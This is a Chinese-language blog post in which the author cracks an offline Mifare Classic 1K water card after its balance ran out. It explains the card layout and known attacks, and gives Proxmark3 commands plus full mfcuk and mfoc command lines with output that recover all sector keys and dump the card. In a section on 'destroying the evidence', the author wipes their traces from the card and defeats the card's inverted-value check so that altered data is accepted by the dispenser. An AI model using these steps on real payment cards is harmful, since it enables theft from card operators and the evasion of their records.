詳談Mifare Classic 1K卡
為啥要寫這個文章?天氣悶熱,內心煩躁,水卡莫得錢了,喝不上水,充卡的人也不來,怎么辦?干就完了
0x01 什么是Mifare Classic 1k卡
Mifare Classic 1K卡簡稱M1卡,屬於非接觸式射頻卡。而與射頻卡進行通訊的技術,叫做近場通訊技術,簡稱NFC。
M1卡分為16個扇區,每個扇區對應4塊(塊0-塊3),共64塊,編號為0-63.第0扇區的第0塊用於存放廠商代碼,已經固化無法更改。其余區的第0-2塊用於存放數據,塊3為控制塊用於存放密碼A、存取控制、密碼B,結構如下:
A0 A1 A2 A3 A4 A5 FF 07 80 69 B0 B1 B2 B3 B4 B5
(密碼A 6字節) (存儲控制 4字節) (密碼B 6字節)
結構
並且每個扇區塊3中的密碼和存儲控制全部都是獨立的,獨立控制本扇區的各種操作,每個扇區都能實現不同的功能,所以廣泛用作一卡通。
卡中每個塊包含16字節,所以M1卡的容量=16扇區*4塊*16字節=1024字節=1k (M1卡的由來)。
卡片的第一扇區第一段,儲存了一個全球唯一的UID,其他還有UID效驗位和廠商信息,按規范生產的卡片,該段在出廠時會被寫入保護,只能讀取不能寫入。當然另外還有一種特殊的UID卡,UID能被修改。
0x02 准備工作
先判斷手里的水卡類型,使用Mifare Classic Tool軟件讀取卡片信息,注意,手機需要支持nfc
家里的備用機魅族Mx4 Pro(魅族旗艦不咋給力了)可以看到卡的型號為Mifare Classic 1K ,由恩智浦半導體公司(NXP)制造
這個工具表面上看起來很強大但實際操作起來並不是那樣,除了讀一個UID其余的幾乎什么都有木有,自帶的字典也很雞肋。
破解原理:
1)暴力破解:
暴力破解是最簡單粗暴、不需要多少技術含量的,就是比較費時,但這並不妨礙大家對它喜愛之情。因為M1是被動卡,需要讀卡器為之供能,一旦讀卡器切斷電源,卡中臨時數據就會丟失,所以無論試錯多少次密碼都不會被鎖定。特別是一些廠商偷懶用弱密碼,花不了多少時間就能破解。
2)克隆卡片:
這算是最簡單又實用的方法了。因為M1卡加密扇區里面保存着各種數據,所以可以克隆一張帶有同樣數據的克隆卡。這就會用到一種叫UID卡的特殊M1模擬卡。前面說過,每張卡在0扇區的0塊都會存放廠商代碼,所以里面也保存了UID編號,是無法修改的。但是這種特殊的UID卡該區域沒有設定保護,可以隨意修改UID,因此可以制作一張與目標卡數據完全相同的克隆卡。
3)重放攻擊:
重放攻擊是基於M1卡的PRNG算法漏洞實現的。當讀卡器讀卡時就會產生隨機序列,但卡本身不帶電,所以每次斷電后在重新連接,就會生成一模一樣的序列,所以可能把這個序列算出來。只要控制好時間就能知道當卡獲取能量后某一刻時間的隨機序列,從而實現修改數據。
4)密鑰竊聽:
利用工具Promark 3可以嗅探M1卡(即便是全加密卡)在和讀卡器進行數據交換時的數據,然后利用XOR工具就能把扇區密鑰算出來。
5)驗證漏洞:
當讀卡器讀卡的扇區時,卡會發一個隨機序列給讀卡器,讀卡器收到序列后會利用自身算法加密該隨機序列再反饋給卡,卡片接收后再用自己算法計算,如果結果一致就認為該讀卡器是合法授權的,然后開始進行數據傳輸。這就產生了問題:當讀卡器訪問另一個扇區時,又會重復上述步驟,而此時卡片與讀卡器之間的數據交換已被算法加密過,而這個算法又是由扇區密鑰決定,因此就會導致這個密鑰泄露。
0x03 ACR122U工具
工具:ACR122U(tb有的還自帶軟件)
沒錯就是這個玩意商家附贈的軟件:
軟件界面
破解時
電腦連接ACR122U,打開驗證漏洞破解軟件嘗試使用默認密碼破解,如破解成功將會在軟件所在目錄生產.dump文件。
DUMP文件
如果出現”沒有找到用默認密碼加密的扇區,退出“說明卡片為全加密,所有扇區的加密密碼都不是默認密碼
用UltraEdit或者WinHex和TTHexEdit之類的十六進制編輯器打開,就可以看到Dump文件的數據了,便算大功告成了。
卡內的數據
接下來寫入或克隆就歐克拉
nested authentication 驗證漏洞原理簡介
因為攻擊原理決定這種方法只適合特定情況下的破解。這種攻擊是在已知16個扇區任意一個扇區的密鑰之后,可以獲得其他未知扇區的密鑰。前面說過16個扇區是獨立,那為什么通過某個扇區還能獲取到其他扇區的密鑰?這與卡片和讀卡器之間的交互通訊方式有關。
第一次驗證時,讀卡器首先驗證第0扇區密鑰,卡片給讀卡器發送一個明文隨機數n1。讀卡器內部用加密算法加密n1,同時產生一個密文隨機數n2發送給卡片,卡片用自己的密鑰解密n2,如果解密出來的數和之前發送給讀卡器的隨機數n1相同,則通過驗證,之后的通訊都會加密傳輸。
第一次的傳輸為明文,之后的都為加密傳輸。並且在驗證的過程中,是卡片先主動發送隨機數給讀卡器。如果讀卡器用錯誤的密碼加密發送給卡片,卡片解密錯誤,則驗證中斷,也就沒有之后的加密傳輸。所以我們至少需要知道一個扇區的密鑰,利用這個扇區驗證。之后其他扇區的通訊密文包含了這個扇區的密鑰信息,再通過驗證漏洞軟件解出密文中的密鑰,進而得到所有扇區的密鑰。
darkside 攻擊原理簡介
如果卡片不存在默認密鑰,則驗證漏洞攻擊行不通。前面說到破解的關鍵是讓卡片發送加密數據,再通過算法解出密鑰,所以需要欺騙卡片發出加密數據。經過研究人員大量的測試后發現卡片算法中存在漏洞,當讀卡器發出的密文中某8bit數據正確時,讀卡器就會回復一個4bit的密文,而這個密文就包含了密鑰的信息,再通過解密算法即可解出密鑰。如果一個扇區的密鑰被解出,就可以用nested authentication 驗證漏洞破解出其他扇區的密鑰。
mfcuk就是基於darkside原理攻擊全加密卡的程序。mfcuk是在linux平台下的程序,windows平台下沒有原生的支持,有的都是個人編譯的exe軟件。
0x04 Proxmark3工具
工具:Proxmark3工具(較貴,國外大部分教程都是此工具)
在使用proxmark3對M1卡進行破解時 ,我們可以使用hf mf mifare命令去探測基於PRNG的漏洞出現的Key 。
例如:
然后使用hf mf nested 1 0 A FFFFFFFFFFFF 去探測各個扇區的密碼,例如:
跑一會便會得到如下key表
用[size=1em]hf mf rdsc 1 a 1866c42fe6a8
來讀取第一扇區數據:
同樣的用 hf mf rdsc 2 b 1866c42fe6a8
讀取第二扇區數據,這里為什么用B密碼是有原因的(因為控制位設置的問題 )。
依次讀取16個扇區即可。 然后一一對比看看哪個變化了,如何變化。
0x05 Kali Linux
啊,終於該用到我塵封已久的Kali了,Vmware,打開
kali可是好東西,嘻嘻。包含了很多安全測試工具,其中關於NFC的就有NFC-MFOC,NFC-MFUCK和NFC-MFCclassic等工具
mfuck:Github
libnfc:Github
腳本地址:https://pan.baidu.com/s/1_IpkzJU1BC2hT2Lq8xS0Fw提取碼4027
在下載的文件目錄下執行:
sh 2183000857.txt
測試一下
root@kali:~# nfc-list
nfc-list uses libnfc 1.7.0-rc7
NFC device: ACS / ACR122U PICC Interface opened
1 ISO14443A passive target(s) found:
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
UID (NFCID1): e1 cd 82 61
SAK (SEL_RES): 08
這里面包含了讀卡器型號和卡片UID等信息
嘗試用mfuck進行darkside破解
root@kali:~# mfcuk -C -R 0 -s 250 -S 250
mfcuk - 0.3.8
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, zveriu@gmail.com, http://andreicostin.com
WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_skgt.mfd'
WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_ratb.mfd'
WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd'
INFO: Connected to NFC reader: ACS / ACR122U PICC Interface
VERIFY:
Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
RECOVER: 0
溫馨提示 : 如果此密鑰重復出現3次以上請記錄下來並且嘗試使用這個密鑰進行驗證 ---------> 0080bb043614 <---------此為密碼;
溫馨提示 : 如果此密鑰重復出現3次以上請記錄下來並且嘗試使用這個密鑰進行驗證 ---------> 36519da2c2c6 <---------此為密碼;
溫馨提示 : 如果此密鑰重復出現3次以上請記錄下來並且嘗試使用這個密鑰進行驗證 ---------> 1c5d13000026 <---------此為密碼;
溫馨提示 : 如果此密鑰重復出現3次以上請記錄下來並且嘗試使用這個密鑰進行驗證 ---------> c5af46000026 <---------此為密碼;
溫馨提示 : 如果此密鑰重復出現3次以上請記錄下來並且嘗試使用這個密鑰進行驗證 ---------> c5af46000026 <---------此為密碼;
溫馨提示 : 如果此密鑰重復出現3次以上請記錄下來並且嘗試使用這個密鑰進行驗證 ---------> 36519d000026 <---------此為密碼;
溫馨提示 : 如果此密鑰重復出現3次以上請記錄下來並且嘗試使用這個密鑰進行驗證 ---------> fedcba000026 <---------此為密碼;
溫馨提示 : 如果此密鑰重復出現3次以上請記錄下來並且嘗試使用這個密鑰進行驗證 ---------> fedcba000026 <---------此為密碼;
溫馨提示 : 如果此密鑰重復出現3次以上請記錄下來並且嘗試使用這個密鑰進行驗證 ---------> fedcba000026 <---------此為密碼;
mfcuk -C -R 0 -s 250 -S 250命令表示嘗試恢復第0扇區的密鑰,250表示延時250ms。密鑰fedcba000026出現了很多次,這就是其中一個扇區的密鑰。知道密鑰就可使用mfoc程序進行驗證漏洞攻擊。
注:上面出現的錯誤和警告不影響最終結果。密鑰使用方法:
root@kali:~# mfoc -k fedcba000026 -O mycard.mfd
The custom key 0xfedcba000026 has been added to the default keys
Found Mifare Classic 1k tag
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
* UID size: single
* bit frame anticollision supported
UID (NFCID1): 92 cc 1d 04
SAK (SEL_RES): 08
* Not compliant with ISO/IEC 14443-4
* Not compliant with ISO/IEC 18092
Fingerprinting based on MIFARE type Identification Procedure:
* MIFARE Classic 1K
* MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
* SmartMX with MIFARE 1K emulation
Other possible matches based on ATQA & SAK values:
Try to authenticate to all sectors with default keys...
Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found
[Key: fedcba000026] -> [xxxxxxxxxxxxxxxx]
[Key: ffffffffffff] -> [xxxxxxxxxxxxxxxx]
[Key: a0a1a2a3a4a5] -> [xxxxxxxxxxxxxxxx]
[Key: d3f7d3f7d3f7] -> [xxxxxxxxxxxxxxxx]
[Key: 000000000000] -> [xxxxxxxxxxxxxxxx]
[Key: b0b1b2b3b4b5] -> [xxxxxxxxxxxxxxxx]
[Key: 4d3a99c351dd] -> [xxxxxxxxxxxxxxxx]
[Key: 1a982c7e459a] -> [xxxxxxxxxxxxxxxx]
[Key: aabbccddeeff] -> [xxxxxxxxxxxxxxxx]
[Key: 714c5c886e97] -> [xxxxxxxxxxxxxxxx]
[Key: 587ee5f9350f] -> [xxxxxxxxxxxxxxxx]
[Key: a0478cc39091] -> [xxxxxxxxxxxxxxxx]
[Key: 533cb6c723f6] -> [xxxxxxxxxxxxxxxx]
[Key: 8fd0a4f256e9] -> [xxxxxxxxxxxxxxxx]
Sector 00 - FOUND_KEY [A] Sector 00 - FOUND_KEY [B]
Sector 01 - FOUND_KEY [A] Sector 01 - FOUND_KEY [B]
Sector 02 - FOUND_KEY [A] Sector 02 - FOUND_KEY [B]
Sector 03 - FOUND_KEY [A] Sector 03 - FOUND_KEY [B]
Sector 04 - FOUND_KEY [A] Sector 04 - FOUND_KEY [B]
Sector 05 - FOUND_KEY [A] Sector 05 - FOUND_KEY [B]
Sector 06 - FOUND_KEY [A] Sector 06 - FOUND_KEY [B]
Sector 07 - FOUND_KEY [A] Sector 07 - FOUND_KEY [B]
Sector 08 - FOUND_KEY [A] Sector 08 - FOUND_KEY [B]
Sector 09 - FOUND_KEY [A] Sector 09 - FOUND_KEY [B]
Sector 10 - FOUND_KEY [A] Sector 10 - FOUND_KEY [B]
Sector 11 - FOUND_KEY [A] Sector 11 - FOUND_KEY [B]
Sector 12 - FOUND_KEY [A] Sector 12 - FOUND_KEY [B]
Sector 13 - FOUND_KEY [A] Sector 13 - FOUND_KEY [B]
Sector 14 - FOUND_KEY [A] Sector 14 - FOUND_KEY [B]
Sector 15 - FOUND_KEY [A] Sector 15 - FOUND_KEY [B]
We have all sectors encrypted with the default keys..
Auth with all sectors succeeded, dumping keys to a file!
Block 63, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 62, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 61, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 60, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 59, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 58, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 57, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 56, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Block 55, type A, key fedcba000026 :00 00 00 00 00 00 ff 07 80 69 fe dc ba 00 00 26
Block 54, type A, key fedcba000026 :00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
很長很長很長
mfoc -k fedcba000026 -O mycard.mfd -k表示key——即fedcba000026,-O(大寫的o)表示output,mycard.mfd表示從卡片中下載數據后儲存的文件。
當然,也可使用mfoc程序的mfoc -O test.mfd命令直接進行默認密鑰的驗證漏洞破解,就是前面在windows平台第一次嘗試的破解方法。從上面輸出結果可以看到所有扇區的密鑰已被解出,並且卡片中存儲的數據也被下載並保存為mycard.mfd。
0x06 毀屍滅跡
破解是破解完了,但是怕機器自帶日志記錄啊,,把我卡記錄下來豈不是完蛋了?
將未修改的卡和我的進行對比,發現我的1扇區有數據別人的都沒有。。
果斷清空,上機測試沒有問題
還有5扇區的不太相同,我似乎發現了什么
除了開頭的FA5C 0000 05AC FFFF和對照卡不一樣之外,其他數據都相同。接着試試除了這8字節的開頭保留,其余清零,在飲水機上測試,一切正常,回來再次讀卡的時候又重新生成了一樣的數據,可以排除影響。
接着將這8字節開頭清零,拿去飲水機消費,發現提示Error,看來的確是一個校驗,我們必須保證對數據的敏感,可以看到0000和FFFF,兩個值恰好是取反了一次,那FA5C和05A3是不是也一樣?FA5C轉成二進制是1111101001011100,05A3轉成二進制是0000010110100011,結果很清楚,兩個值是互相取反保存,那我將它修改成0000和FFFF,其余部分清零,拿去飲水機測試,一切正常。
為了保險起見,我將水卡無用的數據全部清零,用0000和FFFF代替取反的值,應該沒有痕跡了吧??
0x07 尾記
修改數據后能使用的關鍵是卡片的數據和扣費機器處於離線狀態,機器不能對比卡片的數據。像一卡通就是數據聯網的卡片,並且本身也是安全級別非常高的CPU卡,任何消費和充值聯網服務器都有記錄。默默的看着手里的一卡通卡片,着東西可是難搞,不成還得滲透他的服務器?不成。不那么差錢。?
